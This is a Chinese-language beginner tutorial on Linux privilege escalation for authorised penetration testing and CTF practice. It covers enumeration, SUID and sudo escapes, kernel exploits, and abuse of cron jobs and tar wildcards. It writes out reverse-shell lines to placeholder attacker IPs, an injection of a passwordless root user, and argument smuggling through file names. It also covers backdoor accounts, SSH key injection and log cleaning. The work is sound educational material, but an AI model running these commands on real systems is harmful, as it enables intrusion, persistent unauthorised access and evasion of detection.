Linux提权实战入门：从权限模型到内核漏洞利用

1. 项目概述：从零开始理解Linux提权

如果你对“黑客”、“渗透测试”这些词感到既神秘又好奇，特别是看到“提权”时，心里琢磨着这到底是怎么一回事，那么你来对地方了。我接触安全领域十几年，从最初对着命令行发懵，到后来在各类实战和CTF比赛中摸爬滚打，深知一个初学者面对“提权”这个概念时的困惑。它听起来很“黑客”，仿佛是一把打开系统后门的万能钥匙，但实际上，它是一套非常具体、逻辑严密的技术操作集合。简单来说，提权就是从一个权限较低的用户账户（比如一个普通网站用户，或者一个系统上的访客账户），通过各种方法，获取到更高权限（通常是系统最高管理员root）的过程。在合法的渗透测试中，这是评估系统安全性的关键一步，目的是发现并修复漏洞，而不是进行非法入侵。

很多人被电影和小说误导，以为“黑客”就是敲几下键盘就能黑进任何系统。现实恰恰相反，它需要扎实的基础知识、严谨的逻辑和大量的实践。Linux系统，因其在服务器领域的绝对统治地位，成为了渗透测试和网络安全学习的核心环境。而提权，往往是攻防演练中最后、也是最精彩的一环，如同解谜游戏找到了最关键的那把钥匙。本指南将完全从零基础的角度出发，抛开那些华而不实的噱头，带你一步步理解Linux提权的基本逻辑、常见手法和实战入门路径。你会发现，它并不需要你天生就是“电脑天才”，更需要的是耐心、好奇心和正确的学习方法。

2. 核心概念解析：权限、用户与提权的本质

在深入任何技术操作之前，我们必须先打好地基。理解Linux的权限模型，是理解提权为何存在以及如何发生的根本。

2.1 Linux权限模型基础

Linux是一个多用户操作系统，其安全核心在于一套精细的权限控制机制。每个文件和进程都归属于一个用户和一个用户组。权限分为三类：读（r）、写（w）、执行（x）。这些权限分别针对文件的所有者、所属组和其他用户进行设置。你可以通过ls -l命令查看一个文件的详细权限信息。

例如，-rwxr-xr--这个字符串表示：

• 第一个字符-代表这是一个普通文件（如果是d则是目录）。
• 前三个字符rwx表示文件所有者（owner）拥有读、写、执行的权限。
• 中间三个字符r-x表示文件所属组（group）成员拥有读和执行的权限，但没有写的权限。
• 最后三个字符r--表示其他用户（others）只有读的权限。

进程（运行中的程序）同样继承其启动用户的权限。如果一个进程以普通用户alice的身份运行，那么它只能访问alice有权访问的文件和资源。

2.2 为什么需要提权？—— 场景与目标

那么，在什么情况下我们会遇到需要“提权”的场景呢？主要分两大类：

1. 渗透测试中的攻击视角：在授权测试中，测试人员可能通过Web漏洞（如SQL注入、文件上传）获得了目标服务器上一个低权限用户的shell访问权限（例如www-data用户，这是Web服务器进程常用的低权限账户）。这个账户能做的事情非常有限，无法查看系统敏感文件（如/etc/shadow存放密码哈希）、无法安装软件、无法修改系统配置。为了证明漏洞的严重性，评估真实攻击者可能造成的破坏，测试人员需要尝试从这个低权限“立足点”提升到root权限，从而完全控制系统。
2. 系统管理与故障排查中的运维视角：系统管理员有时也会进行“合法提权”，比如使用sudo命令来临时以root身份执行特定命令。但这是一种受控的、有审计的权限提升方式。我们讨论的“提权”更侧重于前一种，即利用非预期的漏洞或配置错误来实现权限跃迁。

提权的最终目标，在Linux系统中，几乎总是为了获取root用户的权限。root是系统的超级管理员，拥有对所有文件、目录、进程和硬件设备的无限制访问权，俗称“上帝模式”。

2.3 提权的基本分类

根据利用的漏洞类型和位置，提权通常分为两大类：

• 本地提权：攻击者已经获得了目标系统上的一个低权限用户shell（命令行访问权限）。提权操作发生在该系统本地。这是初学者入门最常见、也最适合练习的场景。你可以在自己的虚拟机（如安装了脆弱服务的靶机）里安全地进行实验。
• 远程提权：攻击者通过网络，直接利用某个服务（如SSH、HTTP服务、数据库服务）的漏洞，无需先获得本地用户shell，直接获取远程系统的root权限。这类漏洞通常更为严重，也更具价值，但利用难度和复杂度也更高。对于初学者，我们从本地提权开始是更稳妥的路径。

理解这些基础概念后，我们就能明白，提权不是魔法，而是寻找系统在权限管理这个复杂链条上的薄弱环节。接下来，我们就需要一套系统的方法来发现这些薄弱点。

3. 提权方法论：系统化的信息收集与枚举

盲目地尝试各种攻击代码是低效且危险的。专业的渗透测试员在提权前，一定会进行详尽的信息收集，这个过程称为“枚举”。我们的目标是绘制出一幅关于当前系统的“地图”，上面标出所有可能的攻击路径。

3.1 环境信息收集：你站在哪里？

首先，你需要知道自己是谁，以及身处一个怎样的系统环境中。

• 当前用户与权限：

  whoami # 查看当前用户名 id # 查看当前用户ID（UID）、所属组ID（GID）及组成员信息

  id命令的输出至关重要。如果uid=0，那你已经是root了。否则，注意你是否在某些特权组里，比如sudo组（在Debian/Ubuntu系）或wheel组（在RHEL/CentOS系），这通常意味着你可以通过sudo执行部分或全部命令。

• 系统与内核信息：

  uname -a # 查看内核版本、系统架构等信息 cat /etc/issue 或 cat /etc/*release # 查看操作系统发行版和版本信息 hostname # 查看主机名

  内核版本是寻找本地提权漏洞（又称“脏牛”Dirty Cow、Dirty Pipe这类内核漏洞）的关键。你需要知道精确的内核版本号，然后去搜索公开的漏洞利用代码（Exploit）。

• 网络与进程信息：

  ifconfig 或 ip addr # 查看网络接口和IP地址 netstat -tulpn 或 ss -tulpn # 查看网络连接、监听端口及对应进程 ps aux 或 ps -ef # 查看系统所有进程

  查看有哪些服务以root身份运行（ps aux | grep root），特别是那些内部服务或配置不当的服务，可能是提权的突破口。

3.2 特权与配置枚举：钥匙可能藏在哪里？

这是提权枚举的核心部分，我们需要寻找那些配置错误或具有特殊权限的文件和程序。

• SUID/SGID文件： SUID（Set User ID）和SGID（Set Group ID）是Linux特殊的权限位。当一个具有SUID位的可执行文件被运行时，它会以文件所有者的身份运行，而不是执行者。如果/bin/bash的所有者是root且设置了SUID位，那么任何用户执行它都会获得一个root shell。

  find / -type f -perm -4000 -ls 2>/dev/null # 查找所有SUID文件 find / -type f -perm -2000 -ls 2>/dev/null # 查找所有SGID文件

  常见的、本应具有SUID位的文件如/bin/ping、/usr/bin/passwd。但如果发现一些不常见的、或者本不该有SUID位的程序（如文本编辑器vim、nano，或者一些自定义脚本），它们就是潜在的提权点。你可以去GTFOBins这个知名网站搜索这些二进制文件的利用方法。

• sudo权限检查： 检查当前用户可以用sudo执行哪些命令，而且是否不需要密码。

  sudo -l # 列出当前用户可执行的sudo命令

  如果输出显示(ALL : ALL) NOPASSWD: ALL，那恭喜你，你已经可以直接sudo bash获得root shell了。更常见的情况是允许执行特定命令，比如sudo /usr/bin/vim，那么你可以通过vim的逃逸功能（:!bash）来启动一个shell。sudo -l的输出需要逐条仔细分析。

• 计划任务（Cron Jobs）： 系统或用户设置的计划任务可能以root权限定期执行。如果这些任务调用的脚本或二进制文件，当前用户有写入权限，那么我们就可以通过修改它们来植入恶意代码，等待任务执行时获得root权限。

  crontab -l # 查看当前用户的计划任务（通常不重要） ls -la /etc/cron* # 查看系统级计划任务目录 cat /etc/crontab # 查看系统crontab文件

  重点关注/etc/crontab和/etc/cron.d/下的文件，以及/var/spool/cron/crontabs/（但通常普通用户无权访问）。寻找那些全局可写（world-writable）的脚本或它们所在的目录。

• 可写的重要文件与路径：

  find / -writable -type f 2>/dev/null | grep -v "/proc/" | grep -v "/sys/" # 查找全局可写文件（排除虚拟文件系统） find / -type d -perm -o=w 2>/dev/null # 查找全局可写目录

  检查/etc/passwd、/etc/shadow（虽然通常不可能）、/etc/sudoers等关键配置文件是否可写。如果/etc/passwd可写，你可以直接添加一个UID为0（即root）的用户。此外，检查$PATH环境变量，如果其中包含一个当前用户可写的目录，并且该目录在root的PATH中更靠前，你可以通过放置同名的恶意二进制文件来进行“劫持”。

• 进程与服务枚举进阶： 使用ps aux查看进程时，注意那些以root运行但可能从用户可写位置加载配置文件或库文件的进程。也可以使用lsof命令查看进程打开的文件。有时，陈旧的、存在漏洞的服务版本（如Apache, MySQL, Samba）在本地也可能被利用来提权。

信息收集阶段就像侦探破案前的现场勘查，做得越细，找到突破口的机会就越大。请务必养成习惯，在获得任何一个新shell时，都先系统地跑一遍这些枚举命令，并将输出保存下来仔细分析。

4. 常见提权技术路径与实战入门

有了详尽的信息，我们就可以针对性地尝试攻击路径了。下面介绍几种最适合初学者入门的经典提权方法。

4.1 利用SUID/SGID二进制文件

这是最经典的本地提权向量之一。原理我们已介绍过：运行SUID文件时，进程权限提升为文件所有者权限。

实战步骤：

1. 枚举发现：使用find / -perm -u=s -type f 2>/dev/null找到所有SUID文件。
2. 识别可疑目标：排除掉常见的系统文件（如passwd,mount,ping等）。重点关注：
   • 不常见的第三方程序。
   • 编程语言解释器，如python、perl、ruby、node等。如果它们有SUID位，通常可以直接用来执行任意代码。
   • 文本编辑器或文件管理工具，如vim、nano、less、more、man等。这些程序通常有“逃逸到shell”的功能。
3. 查找利用方法：
   • 访问 GTFOBins 网站。这是一个宝藏库，列出了大量可用于提权或绕过限制的Unix二进制文件。在搜索框输入你找到的二进制文件名（如vim），它会直接给出如何利用它获得shell或执行命令的代码片段。
   • 例如，找到SUID位的vim，利用方法很简单：

     /usr/bin/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

     或者更简单的，在vim中执行:!bash或:sh。
4. 执行利用：直接运行GTFOBins提供的命令。如果该SUID文件属于root，你获得的shell就是root shell。

注意事项：并非所有SUID文件都能直接利用。有些程序有严格的沙箱或权限限制。GTFOBins会标明利用的条件（如SUID）。同时，在真实测试中，现代系统可能会受到SELinux、AppArmor等安全模块的限制，使得即使SUID位存在，利用也会失败。

4.2 利用配置错误的sudo权限

如果sudo -l显示你可以无密码或以密码运行某些特定命令，这就是一条黄金通道。

实战步骤：

1. 分析sudo -l输出：仔细阅读每一行。例如：

   User alice may run the following commands on target-host: (ALL) NOPASSWD: /usr/bin/find (root) NOPASSWD: /usr/bin/vi (root) /usr/bin/apk

2. 寻找命令逃逸方法：
   • find命令：find功能强大，其-exec参数可以执行命令。

     sudo find /home -exec /bin/bash \; # 或者更简单的 sudo find / -name test -exec /bin/bash \;

     这会直接启动一个root bash。
   • vi/vim/nano等编辑器：如前所述，在编辑器中逃逸到shell。

     sudo vi # 在vi中输入 :!bash

   • apk/apt/yum等包管理器：如果可以安装包，你可以自己制作一个恶意的deb/rpm包，或者更简单，利用它们执行脚本的能力。
   • perl/python/ruby等解释器：可以直接执行系统命令。

     sudo perl -e 'exec "/bin/bash"'

   • tar/cp等文件操作命令：如果允许以root身份运行，可以覆盖关键系统文件（如/etc/passwd、/etc/sudoers），但风险极高且容易被发现。
3. 利用环境变量LD_PRELOAD：这是一个高级技巧。如果sudo -l的输出中包含了env_keep+=LD_PRELOAD或者类似设置，并且允许你运行某个命令（比如/usr/bin/apt），你可以劫持共享库。原理是创建一个恶意的共享库（.so文件），在其中定义init()或_init()函数执行系统命令，然后通过sudo LD_PRELOAD=/path/to/evil.so <allowed_command>来触发。不过，现代sudo配置默认会重置环境变量，所以这种机会较少。

实操心得：sudo -l的结果一定要逐字逐句看。有时允许的命令路径是写死的（如/usr/bin/vi），但系统里可能还存在另一个版本的vi（如/bin/vi），这时尝试用未被允许的路径执行会失败。同时，注意(ALL)和(root)的区别，前者可以在任何用户身份下运行，后者限定以root身份运行，对于我们提权来说，两者效果通常一样。

4.3 利用内核漏洞（Exploit）

这是最“暴力”但也最直接的方法：利用操作系统内核本身存在的代码漏洞来直接提升权限。著名的漏洞如“脏牛”（CVE-2016-5195）、“脏管道”（CVE-2022-0847）等。

实战步骤：

1. 识别内核版本：uname -a获取精确版本，如Linux ubuntu 5.4.0-42-generic #46-Ubuntu SMP ...。
2. 搜索公开的Exploit：根据内核版本和系统架构（x86/x64/ARM），在Exploit数据库（如exploit-db.com）、GitHub或安全社区搜索对应的漏洞利用代码。通常是用C语言写的。
3. 上传与编译：将找到的.c源码文件上传到目标机器（如果已有文件上传能力）。在目标机上编译它：

   gcc exploit.c -o exploit

   如果目标系统没有gcc，你可能需要交叉编译（在攻击机上编译成目标机架构的可执行文件）后上传，或者寻找已经编译好的二进制版本（风险较高，可能包含后门）。
4. 执行：运行编译好的exploit程序。如果漏洞存在且利用成功，通常会直接返回一个root shell。

   ./exploit whoami # 此时应该是root

重要警告与心得：

• 稳定性风险：内核Exploit可能导致系统崩溃（蓝屏/死机）。在重要的生产环境或没有授权的系统上绝对禁止尝试。
• 兼容性问题：Exploit对内核版本、发行版、架构甚至编译选项都极其敏感。这个版本能用的Exploit，换个小版本号可能就失效了。需要反复尝试和调整。
• 防护机制：现代系统默认开启了多种防护，如地址空间布局随机化（ASLR）、内核地址空间布局随机化（KASLR）、** Supervisor Mode Execution Protection (SMEP)、Supervisor Mode Access Prevention (SMAP)** 等，这些都会增加Exploit的编写难度，导致公开的Exploit成功率下降。
• 最后手段：在内核提权前，务必先尝试前面提到的那些“温和”的方法（SUID, sudo, 计划任务等）。内核Exploit应作为信息收集后其他路径都走不通时的最后选择。在CTF靶机中，内核漏洞提权是常见考点；在真实渗透测试中，遇到的机会相对较少，但一旦成功，危害极大。

4.4 利用计划任务（Cron Jobs）文件覆盖

如果发现一个以root身份定期运行的Cron任务，并且它调用的脚本或该脚本所在目录当前用户有写入权限，就可以通过“文件覆盖”或“符号链接”的方式进行提权。

实战步骤（文件覆盖）：

1. 枚举发现可写Cron脚本：例如，cat /etc/crontab显示有一行：

   * * * * * root /opt/scripts/backup.sh

2. 检查权限：ls -la /opt/scripts/backup.sh发现该文件全局可写（权限为-rwxrwxrwx或所属组/其他人可写）。
3. 覆盖脚本内容：直接编辑或覆盖这个backup.sh文件，插入反弹shell或直接添加用户等命令。

   echo '#!/bin/bash' > /opt/scripts/backup.sh echo '/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1' >> /opt/scripts/backup.sh # 反弹shell # 或者更直接地添加一个root用户 echo 'echo "root2::0:0:root:/root:/bin/bash" >> /etc/passwd' >> /opt/scripts/backup.sh chmod +x /opt/scripts/backup.sh # 确保有执行权限

4. 等待执行：Cron任务最快每分钟运行一次。你需要等待下一次任务执行，攻击就会触发。

实战步骤（利用通配符与Tar Cron任务）： 这是一种更隐蔽、更巧妙的方法。假设有一个root的Cron任务，内容是：

* * * * * root cd /opt/backup && tar -zcf /var/backups/backup.tar.gz *

这个任务会打包/opt/backup目录下的所有文件。如果这个目录我们可写，就可以利用tar命令的某些特性（如--checkpoint和--checkpoint-action参数）来执行任意命令。

1. 在可写目录创建恶意文件：

   cd /opt/backup echo '#!/bin/bash' > shell.sh echo '/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' >> shell.sh chmod +x shell.sh

2. 创建利用tar特性的文件：

   touch -- '--checkpoint=1' touch -- '--checkpoint-action=exec=sh shell.sh' # 或者合并成一行 echo '' > '--checkpoint=1' echo '' > '--checkpoint-action=exec=sh shell.sh'

3. 等待Cron执行：当tar命令运行时，它会处理这些以--开头的文件名作为命令行参数，从而执行我们的shell.sh脚本，获得一个root shell。

注意事项：这种方法需要你对Linux命令参数和Cron行为有较深的理解。同时，要确保创建的文件名准确无误。在实战中，遇到这类“盲打包”任务的机会是宝贵的提权点。

5. 提权后的操作与权限维持基础

成功获取root权限后，并不意味着工作结束。在合法的渗透测试中，你需要记录证据，并可能需要进行权限维持（Persistence），以便在后续测试中不需要重复复杂的提权过程。当然，在CTF或练习中，拿到flag或完成目标即可。

5.1 确认与巩固权限

首先，确认你确实是root：

whoami # 应返回 root id # uid=0(root) gid=0(root) groups=0(root)

然后，为了避免意外失去shell（比如网络断开），最好创建一个新的、更稳定的root后门账户。

• 方法一：直接编辑/etc/passwd（需要root权限）： Linux系统的密码哈希存储在/etc/shadow，但为了兼容性，/etc/passwd中密码字段置为x。我们可以利用一个古老的特性：如果密码字段不是x，而是哈希值，系统会用它来验证。我们可以用openssl生成一个密码哈希，然后手动添加一个用户。

  openssl passwd -1 -salt abc123 your_password # 生成一个md5crypt哈希，salt是abc123 # 输出类似：$1$abc123$TgVXq5S9rX5F8p7D5KqYk.

  然后在/etc/passwd文件末尾添加一行：

  backdoor:$1$abc123$TgVXq5S9rX5F8p7D5KqYk.:0:0:root:/root:/bin/bash

  这样，你就可以用用户名backdoor和密码your_password通过SSH或su登录了。
• 方法二：添加sudo用户： 如果/etc/sudoers文件允许编辑，可以直接添加一行：

  backdoor ALL=(ALL:ALL) ALL

  或者更隐蔽地，给一个已存在的普通用户添加sudo权限。
• 方法三：SSH公钥注入： 如果目标系统开启了SSH服务，可以将你的公钥写入/root/.ssh/authorized_keys文件。

  echo '你的公钥内容' >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys

  之后就可以直接用私钥免密登录root。

重要警告：在非授权测试中，上述操作是非法且不道德的。在授权的渗透测试中，这些操作也需严格遵守测试范围协议，并在测试结束后协助清理。在CTF或自家实验室环境中，则可以自由练习。

5.2 信息收集与证据留存

作为root，你可以访问所有数据。在渗透测试中，需要收集证据证明漏洞的危害性：

• 查看敏感文件：/etc/shadow（密码哈希），/home/*下的用户文件，数据库配置文件，应用源代码等。
• 查看历史命令：history，但root的history可能默认为空或受限，查看/root/.bash_history。
• 查看日志文件：/var/log/下的各种日志，但提权操作可能会被记录，需要了解如何清理（仅限授权测试中的教学目的）。
• 网络信息：iptables -L -n查看防火墙规则，netstat -tulpn查看所有服务。

5.3 清理痕迹（仅限授权测试与学习）

在授权的渗透测试中，测试结束后通常需要清理自己留下的痕迹，将系统恢复原状。这包括：

• 删除创建的后门用户（从/etc/passwd和/etc/shadow中删除对应行）。
• 恢复被修改的配置文件（如/etc/sudoers）。
• 删除上传的Exploit文件、脚本或工具。
• 清理可能留下的日志条目（如/var/log/auth.log,/var/log/syslog中相关的登录和命令记录）。注意：清理日志本身也会留下记录，需要与客户提前商定测试范围和要求。

对于初学者而言，在自家虚拟机或特意设计的靶机（如VulnHub、HackTheBox上的简单机器）中练习时，可以不考虑清理痕迹，专注于漏洞利用本身。

6. 实战环境搭建与学习路径建议

理论说再多，不如动手一试。搭建一个安全的实验环境是学习渗透测试和提权的第一步。

6.1 环境搭建：虚拟机与靶机

绝对不要在真实的、非自己所有的计算机或服务器上进行未经授权的测试，这是违法行为。

1. 安装虚拟机软件：推荐使用VirtualBox（免费）或VMware Workstation Player（个人免费）。它们可以在你的电脑上创建出隔离的虚拟计算机。
2. 准备攻击机：下载并安装Kali Linux。这是一个专为渗透测试和安全研究设计的Linux发行版，预装了海量工具（包括我们提到的枚举脚本、Exploit编译环境等）。将其安装到虚拟机中。
3. 准备靶机：这是你练习攻击的目标。
   • 初学推荐：从VulnHub网站下载专为练习设计的虚拟机镜像（.ova或.vmdk格式）。推荐从最简单的开始，如 “Kioptrix Level 1”, “Mr. Robot CTF”。这些靶机通常自带flag，目标就是提权拿到root flag。
   • 在线平台：Hack The Box (HTB)和TryHackMe是优秀的在线渗透测试平台。它们提供接入VPN后即可访问的虚拟靶机，无需本地安装。TryHackMe的引导性更强，非常适合零基础起步。
   • 自己搭建：当你更有经验后，可以在虚拟机里安装一个纯净的Ubuntu或CentOS，然后手动“弄脏”它——安装一个有漏洞的旧版本软件，配置错误的SUID或sudo权限，设置不安全的Cron任务等。这能让你最深刻地理解漏洞成因。

6.2 基础工具与脚本介绍

在Kali Linux或你自己的攻击机上，除了系统自带的find，cat，vim等命令，还有一些强大的枚举脚本能帮你自动化信息收集：

• LinEnum：一个经典的、功能全面的Linux本地枚举脚本。它会自动运行我们前面提到的几乎所有枚举命令，并以清晰的格式输出。

  # 下载到靶机（假设你有上传能力） curl http://your-attack-ip/LinEnum.sh | bash # 或者先下载再执行 wget http://your-attack-ip/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh

• LinPEAS：Peass-ng项目的一部分，比LinEnum更强大、更彩色、更自动化。它能识别更多潜在的提权向量，并给出风险评级。

  # 通常使用curl直接管道执行 curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

• Linux Exploit Suggester：根据系统内核版本，自动建议可能适用的公开Exploit。

  # 下载并运行 wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh chmod +x linux-exploit-suggester.sh ./linux-exploit-suggester.sh

实操心得：不要过度依赖自动化脚本。在初学阶段，坚持手动执行每一条枚举命令，并理解其输出含义。自动化脚本是很好的辅助和检查工具，但手动过程能训练你的观察力和思维。先手动枚举一遍，再用脚本跑一遍查漏补缺，对比学习，进步最快。

6.3 循序渐进的学习路径建议

1. 第一阶段：熟悉Linux基础。如果你连cd，ls，cat，grep，find， 文件权限都搞不清楚，那么提权无从谈起。花一两周时间，扎实学习Linux命令行基础。推荐《鸟哥的Linux私房菜》或在线教程。
2. 第二阶段：理解渗透测试流程。学习一个简单的Web漏洞（比如命令注入）是如何让你获得一个低权限shell的。可以从OWASP WebGoat或bWAPP这类有漏洞的Web应用开始。理解“初始访问”到“权限提升”的完整链条。
3. 第三阶段：专注本地提权。在VulnHub或TryHackMe上找标注为“Easy”的、提权是主要目标的机器。拿到初始shell后，停下所有Web攻击，专注于我们本章节讲的枚举和提权方法。尝试每一条路径，即使失败了也要明白为什么。
4. 第四阶段：学习内核漏洞利用。找一些明确存在内核漏洞的旧版靶机（如Kioptrix 1.0.3）。练习搜索、编译、运行Exploit。理解失败的原因（架构不对？防护开启？）。
5. 第五阶段：综合实战与进阶。挑战更复杂的机器，提权路径可能更隐蔽，需要结合多个弱点。同时学习Windows系统的提权（思路类似，但工具和方法不同）。阅读公开的渗透测试报告和CTF write-up，学习别人的思路。

7. 法律、道德与职业路径

这是每个想踏入安全领域的人都必须严肃对待的一课。

• 法律红线：未经明确书面授权，对任何不属于你或你未获得测试许可的系统进行扫描、探测、攻击，都是违法行为，可能面临严厉的刑事和民事处罚。这包括学校的网络、公司的网站、甚至你觉得“不重要”的个人博客。
• 道德准则：白帽黑客（安全研究员）与黑帽黑客的根本区别在于意图和授权。白帽的目的是帮助改善安全，漏洞发现后会负责任地披露给厂商。黑帽则是为了个人利益或破坏而利用漏洞。
• 正确的练习方式：
  • 自家实验室：在自己的物理机或虚拟机中搭建环境。
  • 在线靶场：Hack The Box, TryHackMe, PentesterLab, OverTheWire等平台提供了完全合法的练习环境。
  • 漏洞赏金计划：一些公司（如HackerOne, Bugcrowd平台上的项目）公开邀请安全研究员测试其特定系统并提供奖金。在严格遵循项目规则和范围的前提下参与，是合法的实战途径。
• 职业路径：如果你对此感兴趣，可以朝着以下方向发展：
  • 渗透测试工程师：受雇于安全公司或企业，模拟黑客攻击以评估客户系统安全性。
  • 安全研究员：专注于漏洞挖掘、分析和利用技术研究。
  • 红队队员：在企业内部进行更具对抗性的模拟攻击，以检验蓝队（防御方）的检测和响应能力。
  • 安全开发工程师：在开发阶段就构建安全代码，从源头减少漏洞。

学习提权技术，就像学习锁匠的开锁技巧。锁匠学习开锁是为了帮助人们解决忘带钥匙的困境，以及设计出更安全的锁。我们学习系统漏洞和提权，是为了理解攻击者的思维和方法，从而能够更好地防御它们，构建更安全的数字世界。永远将你的技能用于建设，而非破坏。保持好奇心，保持学习，保持敬畏。这条路很长，但每一步都充满挑战和乐趣。